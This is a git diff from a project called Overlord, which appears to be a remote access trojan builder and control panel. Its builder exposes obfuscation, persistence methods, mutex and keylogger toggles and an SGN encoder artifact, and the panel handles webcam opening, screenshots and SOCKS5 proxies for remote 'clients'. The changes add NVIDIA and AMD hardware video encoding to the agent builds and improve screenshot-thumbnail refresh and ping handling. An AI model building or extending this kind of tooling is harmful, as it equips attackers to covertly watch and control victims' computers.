let dashboardThumbnailLoader = null;
|
||||
|
||||
function refreshDashboardThumbnail(clientId) {
|
||||
if (dashboardThumbnailLoader?.refreshNow(clientId)) {
|
||||
return;
|
||||
}
|
||||
// The loader initializes asynchronously; preserve manual refreshes made
|
||||
// before it is ready.
|
||||
requestThumbnail(clientId);
|
||||
}
|
||||
|
||||
async function isDashboardThumbnailEnabled() {
|
||||
try {
|
||||
const res = await fetch("/api/settings/thumbnails", { credentials: "include" });
|
||||
@@ -1105,8 +1115,8 @@ function initializeRenderer() {
|
||||
},
|
||||
openModal,
|
||||
requestPreview,
|
||||
requestThumbnail,
|
||||
pingClient: (id) => sendCommand(id, "ping"),
|
||||
requestThumbnail: refreshDashboardThumbnail,
|
||||
pingClient: pingClientNow,
|
||||
onOpenWebcam: (id) => window.open(`/webcam?clientId=${encodeURIComponent(id)}`, "_blank", "noopener"),
|
||||
onMacPermissionRequest: (id, _card, permissionKey) => requestMacPermissions(id, permissionKey),
|
||||
onMacPermissionRefresh: (id) => requestMacPermissions(id, "", { refreshOnly: true }),
|
||||
|
||||
@@ -518,6 +518,10 @@ export function createRenderer({
|
||||
|
||||
const thumbImg = e.target.closest(".thumb-img");
|
||||
if (thumbImg) {
|
||||
if (card.dataset.online === "true") {
|
||||
if (pingClient) pingClient(clientId);
|
||||
requestThumbnail(clientId);
|
||||
}
|
||||
if (thumbImg.src) openModal(thumbImg.src);
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -157,11 +157,14 @@ export class ThumbnailLoader {
|
||||
}
|
||||
|
||||
refreshNow(clientId) {
|
||||
let touched = false;
|
||||
for (const rec of this.records.values()) {
|
||||
if (clientId && rec.clientId !== clientId) continue;
|
||||
rec.lastTriggerAt = 0;
|
||||
touched = true;
|
||||
}
|
||||
this.tick();
|
||||
return touched;
|
||||
}
|
||||
|
||||
applyVersion(element, rec) {
|
||||
|
||||
@@ -679,6 +679,22 @@
|
||||
</div>
|
||||
</label>
|
||||
|
||||
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-green-500 transition-colors">
|
||||
<input type="checkbox" name="enable-nvenc" class="w-4 h-4" checked />
|
||||
<div class="flex flex-col">
|
||||
<span><i class="fa-solid fa-microchip text-green-400 mr-2"></i>Include NVIDIA NVENC</span>
|
||||
<span class="text-xs text-slate-500">Native NVIDIA H.264 acceleration for Windows CGO builds</span>
|
||||
</div>
|
||||
</label>
|
||||
|
||||
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-red-500 transition-colors">
|
||||
<input type="checkbox" name="enable-amf" class="w-4 h-4" checked />
|
||||
<div class="flex flex-col">
|
||||
<span><i class="fa-solid fa-microchip text-red-400 mr-2"></i>Include AMD AMF</span>
|
||||
<span class="text-xs text-slate-500">Native AMD H.264 acceleration for Windows CGO builds</span>
|
||||
</div>
|
||||
</label>
|
||||
|
||||
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-amber-500 transition-colors">
|
||||
<input type="checkbox" name="enable-winre" class="w-4 h-4" />
|
||||
<div class="flex flex-col">
|
||||
|
||||
@@ -17,6 +17,8 @@ export type BuildConfig = {
|
||||
disableMutex?: boolean;
|
||||
stripDebug?: boolean;
|
||||
disableCgo?: boolean;
|
||||
enableNvenc?: boolean;
|
||||
enableAmf?: boolean;
|
||||
obfuscate?: boolean;
|
||||
enablePersistence?: boolean;
|
||||
persistenceMethods?: string[];
|
||||
|
||||
@@ -84,6 +84,8 @@ type BuildProcessConfig = {
|
||||
disableMutex?: boolean;
|
||||
stripDebug?: boolean;
|
||||
disableCgo?: boolean;
|
||||
enableNvenc?: boolean;
|
||||
enableAmf?: boolean;
|
||||
obfuscate?: boolean;
|
||||
enablePersistence?: boolean;
|
||||
persistenceMethods?: string[];
|
||||
@@ -398,23 +400,84 @@ function nvcodecHeaderPath(clientDir: string): string {
|
||||
return path.join(clientDir, "third_party", "nvcodec", "nvEncodeAPI.h");
|
||||
}
|
||||
|
||||
function ensureNVCodecHeaderForWindowsCgo(
|
||||
function amfHeaderPath(clientDir: string): string {
|
||||
return path.join(clientDir, "third_party", "amf", "include", "core", "Factory.h");
|
||||
}
|
||||
|
||||
const AMF_REPOSITORY = "https://github.com/GPUOpen-LibrariesAndSDKs/AMF.git";
|
||||
const AMF_REF = "v1.5.2";
|
||||
let amfHeaderProvision: Promise<void> | null = null;
|
||||
|
||||
function copyDirectory(source: string, destination: string): void {
|
||||
fs.mkdirSync(destination, { recursive: true });
|
||||
for (const entry of fs.readdirSync(source, { withFileTypes: true })) {
|
||||
const from = path.join(source, entry.name);
|
||||
const to = path.join(destination, entry.name);
|
||||
if (entry.isDirectory()) copyDirectory(from, to);
|
||||
else if (entry.isFile()) fs.copyFileSync(from, to);
|
||||
}
|
||||
}
|
||||
|
||||
async function ensureAMFHeaders(
|
||||
clientDir: string,
|
||||
sendToStream: (data: any) => void,
|
||||
): void {
|
||||
const headerPath = nvcodecHeaderPath(clientDir);
|
||||
if (fs.existsSync(headerPath)) {
|
||||
): Promise<void> {
|
||||
const headerPath = amfHeaderPath(clientDir);
|
||||
if (fs.existsSync(headerPath)) return;
|
||||
|
||||
if (!amfHeaderProvision) {
|
||||
amfHeaderProvision = (async () => {
|
||||
const destination = path.join(clientDir, "third_party", "amf");
|
||||
const temporary = path.join(clientDir, "third_party", `.amf-${process.pid}-${Date.now()}`);
|
||||
sendToStream({
|
||||
type: "output",
|
||||
text: `Native NVENC header: ${headerPath}\n`,
|
||||
text: `AMD AMF headers are not cached; fetching ${AMF_REF}...\n`,
|
||||
level: "info",
|
||||
});
|
||||
return;
|
||||
try {
|
||||
fs.mkdirSync(path.dirname(destination), { recursive: true });
|
||||
const clone = await $`git clone --depth 1 --filter=blob:none --sparse --branch ${AMF_REF} ${AMF_REPOSITORY} ${temporary}`.quiet().nothrow();
|
||||
if (clone.exitCode !== 0) throw new Error(clone.stderr.toString().trim() || "git clone failed");
|
||||
const sparse = await $`git -C ${temporary} sparse-checkout set --no-cone amf/public/include/ LICENSE.txt`.quiet().nothrow();
|
||||
if (sparse.exitCode !== 0) throw new Error(sparse.stderr.toString().trim() || "git sparse-checkout failed");
|
||||
fs.rmSync(destination, { recursive: true, force: true });
|
||||
fs.mkdirSync(destination, { recursive: true });
|
||||
copyDirectory(path.join(temporary, "amf", "public", "include"), path.join(destination, "include"));
|
||||
fs.copyFileSync(path.join(temporary, "LICENSE.txt"), path.join(destination, "LICENSE.txt"));
|
||||
} finally {
|
||||
fs.rmSync(temporary, { recursive: true, force: true });
|
||||
}
|
||||
if (!fs.existsSync(headerPath)) throw new Error(`AMF header was not created at ${headerPath}`);
|
||||
})().catch((error) => {
|
||||
amfHeaderProvision = null;
|
||||
throw error;
|
||||
});
|
||||
}
|
||||
await amfHeaderProvision;
|
||||
}
|
||||
|
||||
async function ensureNVCodecHeaderForWindowsCgo(
|
||||
clientDir: string,
|
||||
sendToStream: (data: any) => void,
|
||||
enableNvenc: boolean,
|
||||
enableAmf: boolean,
|
||||
): Promise<void> {
|
||||
if (enableNvenc) {
|
||||
const headerPath = nvcodecHeaderPath(clientDir);
|
||||
if (!fs.existsSync(headerPath)) {
|
||||
throw new Error(
|
||||
"Native NVENC streaming requires Overlord-Client/third_party/nvcodec/nvEncodeAPI.h for Windows CGO builds. Restore the vendored header or run scripts/vendor-nvcodec-headers from the repo root.",
|
||||
);
|
||||
}
|
||||
sendToStream({ type: "output", text: `Native NVENC header: ${headerPath}\n`, level: "info" });
|
||||
}
|
||||
|
||||
if (enableAmf) {
|
||||
await ensureAMFHeaders(clientDir, sendToStream);
|
||||
const amfPath = amfHeaderPath(clientDir);
|
||||
sendToStream({ type: "output", text: `Native AMD AMF headers: ${amfPath}\n`, level: "info" });
|
||||
}
|
||||
}
|
||||
|
||||
function writeSgnTextArtifact(
|
||||
sgnPath: string,
|
||||
@@ -1056,7 +1119,12 @@ func runBoundFiles() {
|
||||
}
|
||||
|
||||
if (effectiveOs === "windows" && env.CGO_ENABLED === "1") {
|
||||
ensureNVCodecHeaderForWindowsCgo(clientDir, sendToStream);
|
||||
await ensureNVCodecHeaderForWindowsCgo(
|
||||
clientDir,
|
||||
sendToStream,
|
||||
config.enableNvenc !== false,
|
||||
config.enableAmf !== false,
|
||||
);
|
||||
}
|
||||
|
||||
let ldflags = config.stripDebug !== false ? "-s -w -buildid=" : "";
|
||||
@@ -1230,6 +1298,8 @@ func runBoundFiles() {
|
||||
|
||||
// Base tags: always present regardless of build pass
|
||||
let baseTags: string[] = [];
|
||||
if (config.enableNvenc === false) baseTags.push("no_nvenc");
|
||||
if (config.enableAmf === false) baseTags.push("no_amf");
|
||||
if (config.noPrinting) baseTags.push("noprint");
|
||||
if (config.disableKeylogger) baseTags.push("nokeylogger");
|
||||
if (config.enableWebrtc) baseTags.push("overlord_webrtc");
|
||||
|
||||
@@ -169,6 +169,8 @@ export async function handleBuildRoutes(
|
||||
solRpcEndpoints,
|
||||
stripDebug,
|
||||
disableCgo,
|
||||
enableNvenc,
|
||||
enableAmf,
|
||||
obfuscate,
|
||||
enablePersistence,
|
||||
persistenceMethods,
|
||||
@@ -478,6 +480,8 @@ export async function handleBuildRoutes(
|
||||
disableMutex: safeDisableMutex,
|
||||
stripDebug,
|
||||
disableCgo,
|
||||
enableNvenc: enableNvenc !== false,
|
||||
enableAmf: enableAmf !== false,
|
||||
obfuscate: !!obfuscate,
|
||||
enablePersistence,
|
||||
persistenceMethods: safePersistenceMethods,
|
||||
|
||||
@@ -48,6 +48,15 @@ export function dispatchPingBulk(target: ClientInfo, countValue: unknown): numbe
|
||||
return count;
|
||||
}
|
||||
|
||||
async function waitForManualPing(target: ClientInfo, sentAt: number, timeoutMs = 1500): Promise<boolean> {
|
||||
const deadline = Date.now() + timeoutMs;
|
||||
while (Date.now() < deadline) {
|
||||
if ((target.lastPongAt ?? 0) >= sentAt && target.lastPingNonce === undefined) return true;
|
||||
await new Promise((resolve) => setTimeout(resolve, 10));
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
export async function handleClientCommandRoute(
|
||||
req: Request,
|
||||
url: URL,
|
||||
@@ -87,8 +96,13 @@ export async function handleClientCommandRoute(
|
||||
let success = true;
|
||||
|
||||
if (action === "ping") {
|
||||
sendPingRequest(target, target.ws, "manual", 0);
|
||||
const sentAt = Date.now();
|
||||
const sent = sendPingRequest(target, target.ws, "manual", 0);
|
||||
metrics.recordCommand("ping");
|
||||
if (body?.waitForResult === true) {
|
||||
const updated = sent ? await waitForManualPing(target, sentAt) : false;
|
||||
return Response.json({ ok: true, sent, updated, pingMs: target.pingMs ?? null }, { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
} else if (action === "ping_bulk") {
|
||||
const count = dispatchPingBulk(target, body?.count);
|
||||
metrics.recordCommand("ping_bulk");
|
||||
|
||||
@@ -61,6 +61,18 @@ type ClientRouteDeps = {
|
||||
broadcastNotificationsCleared: (clientId: string) => void;
|
||||
};
|
||||
|
||||
function mergeLiveClientState(result: any) {
|
||||
return {
|
||||
...result,
|
||||
items: (result.items || []).map((item: any) => {
|
||||
const live = clientManager.getClient(item.id);
|
||||
return live
|
||||
? { ...item, online: true, lastSeen: live.lastSeen, pingMs: live.pingMs ?? item.pingMs }
|
||||
: item;
|
||||
}),
|
||||
};
|
||||
}
|
||||
|
||||
export async function handleClientRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
@@ -115,12 +127,12 @@ export async function handleClientRoutes(
|
||||
|
||||
if (user.role === "admin") {
|
||||
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, webcamFilter });
|
||||
return Response.json(result, { headers: deps.CORS_HEADERS });
|
||||
return Response.json(mergeLiveClientState(result), { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
if (user.role === "operator" && isEnrollmentRequest) {
|
||||
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, webcamFilter, builtByUserId: user.userId, requireBuildOwner: true });
|
||||
return Response.json(result, { headers: deps.CORS_HEADERS });
|
||||
return Response.json(mergeLiveClientState(result), { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
const scope = getUserClientAccessScope(user.userId);
|
||||
@@ -132,7 +144,7 @@ export async function handleClientRoutes(
|
||||
const deniedClientIds = scope === "denylist" ? listUserClientRuleIdsByAccess(user.userId, "deny") : undefined;
|
||||
|
||||
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, webcamFilter, allowedClientIds, deniedClientIds });
|
||||
return Response.json(result, { headers: deps.CORS_HEADERS });
|
||||
return Response.json(mergeLiveClientState(result), { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
if (url.pathname === "/api/clients/countries") {
|
||||
@@ -287,9 +299,7 @@ export async function handleClientRoutes(
|
||||
metrics.recordCommand("screenshot");
|
||||
}
|
||||
const fresh = target?.online ? await waitForThumbnail(clientId, 2500) : false;
|
||||
if (fresh) {
|
||||
await new Promise((r) => setTimeout(r, 300));
|
||||
} else {
|
||||
if (!fresh) {
|
||||
await requestThumbnailRegen(clientId);
|
||||
}
|
||||
clearThumbnailRequest(clientId);
|
||||
|
||||
@@ -17,7 +17,7 @@ import { decodeMessage, encodeMessage, type WireMessage, type Hello, type Ping }
|
||||
import * as sessionManager from "../../sessions/sessionManager";
|
||||
import type { SocketData } from "../../sessions/types";
|
||||
import type { ClientInfo } from "../../types";
|
||||
import { clearClientSyncState, handleFrame, handleHello, handlePing, handlePong } from "../../wsHandlers";
|
||||
import { clearClientSyncState, handleFrame, handleHello, handlePing, handlePong, handleScreenshotThumbnailResult } from "../../wsHandlers";
|
||||
import { queueClientDbUpdate, scheduleQueuedClientDbFlush } from "../../client-db-sync";
|
||||
import { getMaxPayloadLimit, getMessageByteLength, isAllowedClientMessageType } from "../../wsValidation";
|
||||
import { stopAllProxiesForClient } from "../socks5-proxy-manager";
|
||||
@@ -789,6 +789,7 @@ export async function handleWebSocketMessage(
|
||||
}
|
||||
break;
|
||||
case "screenshot_result":
|
||||
handleScreenshotThumbnailResult(client, payload);
|
||||
deps.handleNotificationScreenshotResult(client.id, payload);
|
||||
break;
|
||||
case "console_output":
|
||||
|
||||
@@ -247,6 +247,31 @@ export function handlePong(info: ClientInfo, payload: WireMessage) {
|
||||
}
|
||||
}
|
||||
|
||||
export function handleScreenshotThumbnailResult(info: ClientInfo, payload: any): boolean {
|
||||
const requested = isThumbnailRequested(info.id);
|
||||
if (!requested || payload?.error) return false;
|
||||
|
||||
let bytes: Uint8Array | null = null;
|
||||
if (payload?.data instanceof Uint8Array) {
|
||||
bytes = payload.data;
|
||||
} else if (payload?.data instanceof ArrayBuffer) {
|
||||
bytes = new Uint8Array(payload.data);
|
||||
} else if (ArrayBuffer.isView(payload?.data)) {
|
||||
bytes = new Uint8Array(payload.data.buffer, payload.data.byteOffset, payload.data.byteLength);
|
||||
}
|
||||
if (!bytes?.byteLength) return false;
|
||||
|
||||
const rawFormat = String(payload?.format || "jpeg").toLowerCase();
|
||||
const format = rawFormat === "jpg" ? "jpeg" : rawFormat;
|
||||
if (format !== "jpeg" && format !== "webp") return false;
|
||||
|
||||
setLatestFrame(info.id, bytes, format);
|
||||
void requestThumbnailRegen(info.id).then((ok) => {
|
||||
if (ok) notifyThumbnailGenerated(info.id);
|
||||
});
|
||||
return true;
|
||||
}
|
||||
|
||||
export function handleFrame(info: ClientInfo, payload: any): boolean {
|
||||
const bytes = payload.data as unknown as Uint8Array;
|
||||
const header = (payload as any).header;
|
||||
|
||||
@@ -93,6 +93,11 @@ if /I "%DISABLE_CGO%"=="true" (
|
||||
echo Run scripts\vendor-nvcodec-headers.bat from the repo root or set DISABLE_CGO=true.
|
||||
goto :err
|
||||
)
|
||||
if not exist "%CLIENT_DIR%\third_party\amf\include\core\Factory.h" (
|
||||
echo AMD AMF headers are not cached; fetching them now...
|
||||
call "%ROOT%scripts\vendor-amf-headers.bat"
|
||||
if errorlevel 1 goto :err
|
||||
)
|
||||
)
|
||||
%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS% %WIN_LDFLAGS%" -o "%OUT_DIR%\agent-windows-amd64.exe" ./cmd/agent
|
||||
if errorlevel 1 goto :err
|
||||
|
||||
@@ -0,0 +1,33 @@
|
||||
@echo off
|
||||
setlocal
|
||||
|
||||
set "SCRIPT_DIR=%~dp0"
|
||||
for %%I in ("%SCRIPT_DIR%..") do set "ROOT_DIR=%%~fI"
|
||||
set "DEST_DIR=%ROOT_DIR%\Overlord-Client\third_party\amf"
|
||||
set "DEST_HEADER=%DEST_DIR%\include\core\Factory.h"
|
||||
if "%AMF_REPO%"=="" set "AMF_REPO=https://github.com/GPUOpen-LibrariesAndSDKs/AMF.git"
|
||||
if "%AMF_REF%"=="" set "AMF_REF=v1.5.2"
|
||||
|
||||
if exist "%DEST_HEADER%" if /I not "%~1"=="--force" (
|
||||
echo AMF headers already cached: "%DEST_DIR%\include"
|
||||
exit /b 0
|
||||
)
|
||||
|
||||
where git >nul 2>&1 || (echo git is required to vendor AMF headers & exit /b 1)
|
||||
set "TMP_DIR=%DEST_DIR%\.amf-sdk.tmp"
|
||||
if exist "%TMP_DIR%" rd /s /q "%TMP_DIR%"
|
||||
if not exist "%DEST_DIR%" mkdir "%DEST_DIR%"
|
||||
|
||||
git clone --depth 1 --filter=blob:none --sparse --branch "%AMF_REF%" "%AMF_REPO%" "%TMP_DIR%" || goto :err
|
||||
git -C "%TMP_DIR%" sparse-checkout set --no-cone amf/public/include/ LICENSE.txt || goto :err
|
||||
if exist "%DEST_DIR%\include" rd /s /q "%DEST_DIR%\include"
|
||||
xcopy /e /i /q /y "%TMP_DIR%\amf\public\include" "%DEST_DIR%\include" >nul || goto :err
|
||||
copy /y "%TMP_DIR%\LICENSE.txt" "%DEST_DIR%\LICENSE.txt" >nul || goto :err
|
||||
rd /s /q "%TMP_DIR%"
|
||||
echo Cached AMD AMF %AMF_REF% headers in "%DEST_DIR%\include"
|
||||
exit /b 0
|
||||
|
||||
:err
|
||||
if exist "%TMP_DIR%" rd /s /q "%TMP_DIR%"
|
||||
echo Failed to fetch AMD AMF headers
|
||||
exit /b 1
|
||||
@@ -0,0 +1,28 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
ROOT_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)"
|
||||
DEST_DIR="${ROOT_DIR}/Overlord-Client/third_party/amf"
|
||||
DEST_HEADER="${DEST_DIR}/include/core/Factory.h"
|
||||
REPO_URL="${AMF_REPO:-https://github.com/GPUOpen-LibrariesAndSDKs/AMF.git}"
|
||||
REF="${AMF_REF:-v1.5.2}"
|
||||
|
||||
if [[ -s "${DEST_HEADER}" && "${1:-}" != "--force" ]]; then
|
||||
echo "AMF headers already cached: ${DEST_DIR}/include"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
command -v git >/dev/null 2>&1 || { echo "git is required to vendor AMF headers" >&2; exit 1; }
|
||||
TMP_DIR="${DEST_DIR}/.amf-sdk.tmp"
|
||||
rm -rf "${TMP_DIR}"
|
||||
trap 'rm -rf "${TMP_DIR}"' EXIT
|
||||
mkdir -p "${DEST_DIR}"
|
||||
git clone --depth 1 --filter=blob:none --sparse --branch "${REF}" "${REPO_URL}" "${TMP_DIR}"
|
||||
git -C "${TMP_DIR}" sparse-checkout set --no-cone amf/public/include/ LICENSE.txt
|
||||
rm -rf "${DEST_DIR}/include"
|
||||
cp -R "${TMP_DIR}/amf/public/include" "${DEST_DIR}/include"
|
||||
cp "${TMP_DIR}/LICENSE.txt" "${DEST_DIR}/LICENSE.txt"
|
||||
rm -rf "${TMP_DIR}"
|
||||
trap - EXIT
|
||||
echo "Cached AMD AMF ${REF} headers in ${DEST_DIR}/include"
|
||||
Reference in New Issue
Block a user